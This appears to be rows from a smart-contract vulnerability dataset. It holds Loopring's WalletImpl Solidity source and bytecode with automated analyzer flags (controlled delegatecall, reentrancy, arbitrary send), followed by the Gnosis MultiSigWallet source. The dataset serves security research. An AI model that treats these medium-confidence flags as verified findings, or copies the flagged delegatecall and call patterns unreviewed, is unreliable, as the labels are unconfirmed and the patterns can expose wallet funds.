interface WalletRegistry
{
function registerWallet(address wallet) external;
function isWalletRegistered(address addr) external view returns (bool);
function numOfWallets() external view returns (uint);
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title ModuleRegistry
/// @dev A registry for modules.
///
/// @author Daniel Wang - <daniel@loopring.org>
interface ModuleRegistry
{
/// @dev Registers and enables a new module.
function registerModule(address module) external;
/// @dev Disables a module
function disableModule(address module) external;
/// @dev Returns true if the module is registered and enabled.
function isModuleEnabled(address module) external view returns (bool);
/// @dev Returns the list of enabled modules.
function enabledModules() external view returns (address[] memory _modules);
/// @dev Returns the number of enbaled modules.
function numOfEnabledModules() external view returns (uint);
/// @dev Returns true if the module is ever registered.
function isModuleRegistered(address module) external view returns (bool);
}
/// @title Controller
///
/// @author Daniel Wang - <daniel@loopring.org>
abstract contract Controller
{
ModuleRegistry public moduleRegistry;
WalletRegistry public walletRegistry;
address public walletFactory;
}
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <daniel@loopring.org>
abstract contract ERC20
{
function totalSupply()
public
view
virtual
returns (uint);
function balanceOf(
address who
)
public
view
virtual
returns (uint);
function allowance(
address owner,
address spender
)
public
view
virtual
returns (uint);
function transfer(
address to,
uint value
)
public
virtual
returns (bool);
function transferFrom(
address from,
address to,
uint value
)
public
virtual
returns (bool);
function approve(
address spender,
uint value
)
public
virtual
returns (bool);
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title Module
/// @dev Base contract for all smart wallet modules.
///
/// @author Daniel Wang - <daniel@loopring.org>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
interface Module
{
/// @dev Activates the module for the given wallet (msg.sender) after the module is added.
/// Warning: this method shall ONLY be callable by a wallet.
function activate() external;
/// @dev Deactivates the module for the given wallet (msg.sender) before the module is removed.
/// Warning: this method shall ONLY be callable by a wallet.
function deactivate() external;
}
// Copyright 2017 Loopring Technology Limited.
/// @title Wallet
/// @dev Base contract for smart wallets.
/// Sub-contracts must NOT use non-default constructor to initialize
/// wallet states, instead, `init` shall be used. This is to enable
/// proxies to be deployed in front of the real wallet contract for
/// saving gas.
///
/// @author Daniel Wang - <daniel@loopring.org>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
interface Wallet
{
function version() external pure returns (string memory);
function owner() external view returns (address);
/// @dev Set a new owner.
function setOwner(address newOwner) external;
/// @dev Adds a new module. The `init` method of the module
/// will be called with `address(this)` as the parameter.
/// This method must throw if the module has already been added.
/// @param _module The module's address.
function addModule(address _module) external;
/// @dev Removes an existing module. This method must throw if the module
/// has NOT been added or the module is the wallet's only module.
/// @param _module The module's address.
function removeModule(address _module) external;
/// @dev Checks if a module has been added to this wallet.
/// @param _module The module to check.
/// @return True if the module exists; False otherwise.
function hasModule(address _module) external view returns (bool);
/// @dev Binds a method from the given module to this
/// wallet so the method can be invoked using this wallet's default
/// function.
/// Note that this method must throw when the given module has
/// not been added to this wallet.
/// @param _method The method's 4-byte selector.
/// @param _module The module's address. Use address(0) to unbind the method.
function bindMethod(bytes4 _method, address _module) external;
/// @dev Returns the module the given method has been bound to.
/// @param _method The method's 4-byte selector.
/// @return _module The address of the bound module. If no binding exists,
/// returns address(0) instead.
function boundMethodModule(bytes4 _method) external view returns (address _module);
/// @dev Performs generic transactions. Any module that has been added to this
/// wallet can use this method to transact on any third-party contract with
/// msg.sender as this wallet itself.
///
/// This method will emit `Transacted` event if it doesn't throw.
///
/// Note: this method must ONLY allow invocations from a module that has
/// been added to this wallet. The wallet owner shall NOT be permitted
/// to call this method directly.
///
/// @param mode The transaction mode, 1 for CALL, 2 for DELEGATECALL.
/// @param to The desitination address.
/// @param value The amount of Ether to transfer.
/// @param data The data to send over using `to.call{value: value}(data)`
/// @return returnData The transaction's return value.
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
returns (bytes memory returnData);
}
// Copyright 2017 Loopring Technology Limited.
/// @title ReentrancyGuard
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev Exposes a modifier that guards a function against reentrancy
/// Changing the value of the same storage value multiple times in a transaction
/// is cheap (starting from Istanbul) so there is no need to minimize
/// the number of times the value is changed
contract ReentrancyGuard
{
//The default value must be 0 in order to work behind a proxy.
uint private _guardValue;
modifier nonReentrant()
{
require(_guardValue == 0, "REENTRANCY");
_guardValue = 1;
_;
_guardValue = 0;
}
}
/// @title BaseWallet
/// @dev This contract provides basic implementation for a Wallet.
///
/// @author Daniel Wang - <daniel@loopring.org>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
abstract contract BaseWallet is ReentrancyGuard, Wallet
{
// WARNING: do not delete wallet state data to make this implementation
// compatible with early versions.
//
// ----- DATA LAYOUT BEGINS -----
address internal _owner;
mapping (address => bool) private modules;
Controller public controller;
mapping (bytes4 => address) internal methodToModule;
// ----- DATA LAYOUT ENDS -----
event OwnerChanged (address newOwner);
event ControllerChanged (address newController);
event ModuleAdded (address module);
event ModuleRemoved (address module);
event MethodBound (bytes4 method, address module);
event WalletSetup (address owner);
event Transacted(
address module,
address to,
uint value,
bytes data
);
modifier onlyFromModule
{
require(modules[msg.sender], "MODULE_UNAUTHORIZED");
_;
}
modifier onlyFromFactory
{
require(
msg.sender == controller.walletFactory(),
"UNAUTHORIZED"
);
_;
}
/// @dev We need to make sure the Factory address cannot be changed without wallet owner's
/// explicit authorization.
modifier onlyFromFactoryOrModule
{
require(
modules[msg.sender] || msg.sender == controller.walletFactory(),
"UNAUTHORIZED"
);
_;
}
/// @dev Set up this wallet by assigning an original owner
///
/// Note that calling this method more than once will throw.
///
/// @param _initialOwner The owner of this wallet, must not be address(0).
function initOwner(
address _initialOwner
)
external
onlyFromFactory
nonReentrant
{
require(controller != Controller(0), "NO_CONTROLLER");
require(_owner == address(0), "INITIALIZED_ALREADY");
require(_initialOwner != address(0), "ZERO_ADDRESS");
_owner = _initialOwner;
emit WalletSetup(_initialOwner);
}
/// @dev Set up this wallet by assigning an controller.
///
/// Note that calling this method more than once will throw.
/// And this method must be invoked before owner is initialized
///
/// @param _controller The Controller instance.
function initController(
Controller _controller
)
external
nonReentrant
{
require(
_owner == address(0) &&
controller == Controller(0) &&
_controller != Controller(0),
"CONTROLLER_INIT_FAILED"
);
controller = _controller;
}
function owner()
override
external
view
returns (address)
{
return _owner;
}
function setOwner(address newOwner)
external
override
nonReentrant
onlyFromModule
{
require(newOwner != address(0), "ZERO_ADDRESS");
require(newOwner != address(this), "PROHIBITED");
require(newOwner != _owner, "SAME_ADDRESS");
_owner = newOwner;
emit OwnerChanged(newOwner);
}
function setController(Controller newController)
external
nonReentrant
onlyFromModule
{
require(newController != controller, "SAME_CONTROLLER");
require(newController != Controller(0), "INVALID_CONTROLLER");
controller = newController;
emit ControllerChanged(address(newController));
}
function addModule(address _module)
external
override
onlyFromFactoryOrModule
{
addModuleInternal(_module);
}
function removeModule(address _module)
external
override
onlyFromModule
{
// Allow deactivate to fail to make sure the module can be removed
require(modules[_module], "MODULE_NOT_EXISTS");
try Module(_module).deactivate() {} catch {}
delete modules[_module];
emit ModuleRemoved(_module);
}
function hasModule(address _module)
external
view
override
returns (bool)
{
return modules[_module];
}
function bindMethod(bytes4 _method, address _module)
external
override
onlyFromModule
{
require(_method != bytes4(0), "BAD_METHOD");
if (_module != address(0)) {
require(modules[_module], "MODULE_UNAUTHORIZED");
}
methodToModule[_method] = _module;
emit MethodBound(_method, _module);
}
function boundMethodModule(bytes4 _method)
external
view
override
returns (address)
{
return methodToModule[_method];
}
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
override
onlyFromFactoryOrModule
returns (bytes memory returnData)
{
require(
!controller.moduleRegistry().isModuleRegistered(to),
"TRANSACT_ON_MODULE_DISALLOWED"
);
bool success;
(success, returnData) = nonReentrantCall(mode, to, value, data);
if (!success) {
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
emit Transacted(msg.sender, to, value, data);
}
function addModuleInternal(address _module)
internal
{
require(_module != address(0), "NULL_MODULE");
require(modules[_module] == false, "MODULE_EXISTS");
require(
controller.moduleRegistry().isModuleEnabled(_module),
"INVALID_MODULE"
);
modules[_module] = true;
emit ModuleAdded(_module);
Module(_module).activate();
}
receive()
external
payable
{
}
/// @dev This default function can receive Ether or perform queries to modules
/// using bound methods.
fallback()
external
payable
{
address module = methodToModule[msg.sig];
require(modules[module], "MODULE_UNAUTHORIZED");
(bool success, bytes memory returnData) = module.call{value: msg.value}(msg.data);
assembly {
switch success
case 0 { revert(add(returnData, 32), mload(returnData)) }
default { return(add(returnData, 32), mload(returnData)) }
}
}
// This call is introduced to support reentrany check.
// The caller shall NOT have the nonReentrant modifier.
function nonReentrantCall(
uint8 mode,
address target,
uint value,
bytes memory data
)
private
nonReentrant
returns (
bool success,
bytes memory returnData
)
{
if (mode == 1) {
// solium-disable-next-line security/no-call-value
(success, returnData) = target.call{value: value}(data);
} else if (mode == 2) {
// solium-disable-next-line security/no-call-value
(success, returnData) = target.delegatecall(data);
} else if (mode == 3) {
require(value == 0, "INVALID_VALUE");
// solium-disable-next-line security/no-call-value
(success, returnData) = target.staticcall(data);
} else {
revert("UNSUPPORTED_MODE");
}
}
}
/// @title WalletImpl
contract WalletImpl is BaseWallet {
function version()
external
override
pure
returns (string memory)
{
// 使用中国省会作为别名
return "1.1.5 (shenyang)";
}
}
|
0x6080604052600436106100c65760003560e01c806392eefe9b1161007f578063c7b2e59611610059578063c7b2e5961461046a578063cf38db69146104b1578063f77c4791146104e5578063fb01cc36146104fa576100cd565b806392eefe9b146103c1578063a0632461146103f4578063b149206e14610427576100cd565b80630d009297146101cf57806313af4035146102045780631ed86f191461023757806354fd4d501461026a5780637122b74c146102f45780638da5cb5b14610390576100cd565b366100cd57005b600080356001600160e01b0319168152600460209081526040808320546001600160a01b031680845260029092529091205460ff16610149576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b60006060826001600160a01b031634600036604051808383808284376040519201945060009350909150508083038185875af1925050503d80600081146101ac576040519150601f19603f3d011682016040523d82523d6000602084013e6101b1565b606091505b509150915081600081146101c757815160208301f35b815160208301fd5b3480156101db57600080fd5b50610202600480360360208110156101f257600080fd5b50356001600160a01b031661052d565b005b34801561021057600080fd5b506102026004803603602081101561022757600080fd5b50356001600160a01b031661077c565b34801561024357600080fd5b506102026004803603602081101561025a57600080fd5b50356001600160a01b031661095b565b34801561027657600080fd5b5061027f610a46565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b95781810151838201526020016102a1565b50505050905090810190601f1680156102e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030057600080fd5b5061027f6004803603608081101561031757600080fd5b60ff823516916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561035157600080fd5b82018360208201111561036357600080fd5b8035906020019184600183028401116401000000008311171561038557600080fd5b509092509050610a70565b34801561039c57600080fd5b506103a5610d7f565b604080516001600160a01b039092168252519081900360200190f35b3480156103cd57600080fd5b50610202600480360360208110156103e457600080fd5b50356001600160a01b0316610d8e565b34801561040057600080fd5b506102026004803603602081101561041757600080fd5b50356001600160a01b0316610f2b565b34801561043357600080fd5b506102026004803603604081101561044a57600080fd5b5080356001600160e01b03191690602001356001600160a01b031661108b565b34801561047657600080fd5b5061049d6004803603602081101561048d57600080fd5b50356001600160a01b0316611212565b604080519115158252519081900360200190f35b3480156104bd57600080fd5b506103a5600480360360208110156104d457600080fd5b50356001600160e01b031916611230565b3480156104f157600080fd5b506103a5611255565b34801561050657600080fd5b506102026004803603602081101561051d57600080fd5b50356001600160a01b0316611264565b600360009054906101000a90046001600160a01b03166001600160a01b031663c5c036996040518163ffffffff1660e01b815260040160206040518083038186803b15801561057b57600080fd5b505afa15801561058f573d6000803e3d6000fd5b505050506040513d60208110156105a557600080fd5b50516001600160a01b031633146105f2576040805162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b604482015290519081900360640190fd5b60005415610634576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b60016000556003546001600160a01b0316610686576040805162461bcd60e51b815260206004820152600d60248201526c2727afa1a7a72a2927a62622a960991b604482015290519081900360640190fd5b6001546001600160a01b0316156106da576040805162461bcd60e51b8152602060048201526013602482015272494e495449414c495a45445f414c524541445960681b604482015290519081900360640190fd5b6001600160a01b038116610724576040805162461bcd60e51b815260206004820152600c60248201526b5a45524f5f4144445245535360a01b604482015290519081900360640190fd5b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f2d09b2e98dd73e6a5c2de8f80056fba918b4d574202a95c8e11eab46f89a21b69181900360200190a15060008055565b600054156107be576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b600160009081553381526002602052604090205460ff1661081c576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6001600160a01b038116610866576040805162461bcd60e51b815260206004820152600c60248201526b5a45524f5f4144445245535360a01b604482015290519081900360640190fd5b6001600160a01b0381163014156108b1576040805162461bcd60e51b815260206004820152600a602482015269141493d212509255115160b21b604482015290519081900360640190fd5b6001546001600160a01b0382811691161415610903576040805162461bcd60e51b815260206004820152600c60248201526b53414d455f4144445245535360a01b604482015290519081900360640190fd5b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517fa2ea9883a321a3e97b8266c2b078bfeec6d50c711ed71f874a90d500ae2eaf369181900360200190a15060008055565b3360009081526002602052604090205460ff16806109fa5750600360009054906101000a90046001600160a01b03166001600160a01b031663c5c036996040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c257600080fd5b505afa1580156109d6573d6000803e3d6000fd5b505050506040513d60208110156109ec57600080fd5b50516001600160a01b031633145b610a3a576040805162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b604482015290519081900360640190fd5b610a4381611351565b50565b60408051808201909152601081526f312e312e3520287368656e79616e672960801b602082015290565b3360009081526002602052604090205460609060ff1680610b125750600360009054906101000a90046001600160a01b03166001600160a01b031663c5c036996040518163ffffffff1660e01b815260040160206040518083038186803b158015610ada57600080fd5b505afa158015610aee573d6000803e3d6000fd5b505050506040513d6020811015610b0457600080fd5b50516001600160a01b031633145b610b52576040805162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b604482015290519081900360640190fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663b95459e46040518163ffffffff1660e01b815260040160206040518083038186803b158015610ba057600080fd5b505afa158015610bb4573d6000803e3d6000fd5b505050506040513d6020811015610bca57600080fd5b505160408051631c5ebe2f60e01b81526001600160a01b03888116600483015291519190921691631c5ebe2f916024808301926020929190829003018186803b158015610c1657600080fd5b505afa158015610c2a573d6000803e3d6000fd5b505050506040513d6020811015610c4057600080fd5b505115610c94576040805162461bcd60e51b815260206004820152601d60248201527f5452414e534143545f4f4e5f4d4f44554c455f444953414c4c4f574544000000604482015290519081900360640190fd5b6000610cd887878787878080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506115d892505050565b9250905080610ceb573d6000803e3d6000fd5b7fd15cdc35d9f75ae49cb70603e3d7c2f6d6bff47de15cfbcdfcbbd8ab19aa7aca338787878760405180866001600160a01b03168152602001856001600160a01b03168152602001848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039850909650505050505050a15095945050505050565b6001546001600160a01b031690565b60005415610dd0576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b600160009081553381526002602052604090205460ff16610e2e576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6003546001600160a01b0382811691161415610e83576040805162461bcd60e51b815260206004820152600f60248201526e29a0a6a2afa1a7a72a2927a62622a960891b604482015290519081900360640190fd5b6001600160a01b038116610ed3576040805162461bcd60e51b815260206004820152601260248201527124a72b20a624a22fa1a7a72a2927a62622a960711b604482015290519081900360640190fd5b600380546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f027c3e080ed9215f564a9455a666f7e459b3edc0bb6e02a1bf842fde4d0ccfc19181900360200190a15060008055565b3360009081526002602052604090205460ff16610f85576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16610fe6576040805162461bcd60e51b81526020600482015260116024820152704d4f44554c455f4e4f545f45584953545360781b604482015290519081900360640190fd5b806001600160a01b03166351b42b006040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561102157600080fd5b505af1925050508015611032575060015b506001600160a01b038116600081815260026020908152604091829020805460ff19169055815192835290517f0a1ee69f55c33d8467c69ca59ce2007a737a88603d75392972520bf67cb513b89281900390910190a150565b3360009081526002602052604090205460ff166110e5576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6001600160e01b0319821661112e576040805162461bcd60e51b815260206004820152600a60248201526910905117d351551213d160b21b604482015290519081900360640190fd5b6001600160a01b038116156111a0576001600160a01b03811660009081526002602052604090205460ff166111a0576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6001600160e01b0319821660008181526004602090815260409182902080546001600160a01b0319166001600160a01b03861690811790915582519384529083015280517fe38e0cbd107669b7b8120e2f6edde6ac4731cb8b123c1ab8b6db9b6bf0536fb29281900390910190a15050565b6001600160a01b031660009081526002602052604090205460ff1690565b6001600160e01b0319166000908152600460205260409020546001600160a01b031690565b6003546001600160a01b031681565b600054156112a6576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b60016000819055546001600160a01b03161580156112cd57506003546001600160a01b0316155b80156112e157506001600160a01b03811615155b61132b576040805162461bcd60e51b815260206004820152601660248201527510d3d3951493d313115497d253925517d1905253115160521b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b039290921691909117905560008055565b6001600160a01b03811661139a576040805162461bcd60e51b815260206004820152600b60248201526a4e554c4c5f4d4f44554c4560a81b604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156113f8576040805162461bcd60e51b815260206004820152600d60248201526c4d4f44554c455f45584953545360981b604482015290519081900360640190fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663b95459e46040518163ffffffff1660e01b815260040160206040518083038186803b15801561144657600080fd5b505afa15801561145a573d6000803e3d6000fd5b505050506040513d602081101561147057600080fd5b505160408051632d9ad53d60e01b81526001600160a01b03848116600483015291519190921691632d9ad53d916024808301926020929190829003018186803b1580156114bc57600080fd5b505afa1580156114d0573d6000803e3d6000fd5b505050506040513d60208110156114e657600080fd5b505161152a576040805162461bcd60e51b815260206004820152600e60248201526d494e56414c49445f4d4f44554c4560901b604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604091829020805460ff19166001179055815192835290517fead6a006345da1073a106d5f32372d2d2204f46cb0b4bca8f5ebafcbbed12b8a9281900390910190a1806001600160a01b0316630f15f4c06040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b5050505050565b60006060600054600014611620576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b6001600081905560ff871614156116de57846001600160a01b031684846040518082805190602001908083835b6020831061166c5780518252601f19909201916020918201910161164d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146116ce576040519150601f19603f3d011682016040523d82523d6000602084013e6116d3565b606091505b5090925090506118ad565b8560ff166002141561178457846001600160a01b0316836040518082805190602001908083835b602083106117245780518252601f199092019160209182019101611705565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146116ce576040519150601f19603f3d011682016040523d82523d6000602084013e6116d3565b8560ff166003141561186d5783156117d3576040805162461bcd60e51b815260206004820152600d60248201526c494e56414c49445f56414c554560981b604482015290519081900360640190fd5b846001600160a01b0316836040518082805190602001908083835b6020831061180d5780518252601f1990920191602091820191016117ee565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d80600081146116ce576040519150601f19603f3d011682016040523d82523d6000602084013e6116d3565b6040805162461bcd60e51b815260206004820152601060248201526f554e535550504f525445445f4d4f444560801b604482015290519081900360640190fd5b6000805590959094509250505056fea2646970667358221220b3b72b358bc075ba67eadf36be0a3d4f30f7067e8e91a35f724dae238b92871464736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,506 |
0x5904957d25d0c6213491882a64765967f88bccc7
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="97e4e3f2f1f6f9b9f0f2f8e5f0f2d7f4f8f9e4f2f9e4eee4b9f9f2e3">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
